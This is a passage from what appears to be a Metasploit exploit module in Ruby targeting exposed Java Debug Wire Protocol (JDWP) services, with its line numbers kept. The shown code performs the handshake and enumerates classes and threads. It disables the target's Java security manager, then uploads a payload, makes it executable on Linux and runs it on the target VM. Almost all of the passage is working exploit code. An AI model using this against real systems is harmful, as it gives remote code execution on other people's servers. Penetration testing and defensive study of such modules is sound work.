attribute not found") if sec_field.nil? 867 | 868 | value = get_value(sys_class["reftype_id"], sec_field) 869 | 870 | if(value == 0) 871 | print_good("Security manager was not set") 872 | else 873 | set_value(sys_class["reftype_id"], sec_field, 0) 874 | if get_value(sys_class["reftype_id"], sec_field) == 0 875 | print_good("Security manager has been disabled") 876 | else 877 | print_good("Security manager has not been disabled, trying anyway...") 878 | end 879 | end 880 | end 881 | 882 | # Uploads & executes the payload on the target VM 883 | def exec_payload(thread_id) 884 | # 0. Fingerprinting OS 885 | fingerprint_os(thread_id) 886 | 887 | vprint_status("Executing payload on \"#{@os}\", target version: #{version}") 888 | 889 | # 1. Prepares the payload 890 | payload_exe, pl_exe = setup_payload 891 | 892 | # 2. Creates file on server for dumping payload 893 | file = create_file(thread_id, payload_exe) 894 | 895 | # 3. Uploads payload to the server 896 | pl = upload_payload(thread_id, pl_exe) 897 | 898 | # 4. Dumps uploaded payload into file on the server 899 | dump_payload(thread_id, file, pl) 900 | 901 | # 5. Closes the file on the server 902 | close_file(thread_id, file) 903 | 904 | # 5b. When linux arch, give execution permissions to file 905 | if target['Platform'] == 'linux' 906 | cmd = "chmod +x #{payload_exe}" 907 | execute_command(thread_id, cmd) 908 | end 909 | 910 | # 6. Executes the dumped payload 911 | cmd = "#{payload_exe}" 912 | execute_command(thread_id, cmd) 913 | end 914 | 915 | 916 | def exploit 917 | @my_id = 0x01 918 | @vars = {} 919 | @classes = [] 920 | @methods = {} 921 | @threads = {} 922 | @os = nil 923 | 924 | connect 925 | 926 | unless handshake == HANDSHAKE 927 | fail_with(Failure::NotVulnerable, "JDWP Protocol not found") 928 | end 929 | 930 | print_status("Retrieving the sizes of variable sized data types in the target VM...") 931 | get_sizes 932 | 933 | print_status("Getting the version of the target VM...") 934 | get_version 935 | 936 | print_status("Getting all currently loaded classes by the target VM...") 937 | get_all_classes 938 | 939 | print_status("Getting all running threads in the target VM...") 940 | get_all_threads 941 | 942 | print_status("Setting 'step into' event...") 943 | r_id, t_id = set_step_event 944 | 945 | print_status("Resuming VM and waiting for an event...") 946 | response = resume_vm 947 | 948 | unless parse_event(response, r_id, t_id) 949 | datastore['NUM_RETRIES'].times do |i| 950 | print_status("Received #{i + 1} responses that are not a 'step into' event...") 951 | buf = read_reply 952 | break if parse_event(buf, r_id, t_id) 953 | 954 | if i == datastore['NUM_RETRIES'] 955 | fail_with(Failure::Unknown, "Event not received in #{datastore['NUM_RETRIES']} attempts") 956 | end 957 | end 958 | end 959 | 960 | vprint_status("Received matching event from thread #{t_id}") 961 | print_status("Deleting step event...") 962 | clear_event(EVENT_STEP, r_id) 963 | 964 | print_status("Disabling security manager if set...") 965 | disable_sec_manager 966 | 967 | print_status("Dropping and executing payload...") 968 | exec_payload(t_id) 969 | 970 | disconnect 971 | end 972 | end 973 | --------------------------------------------------------------------------------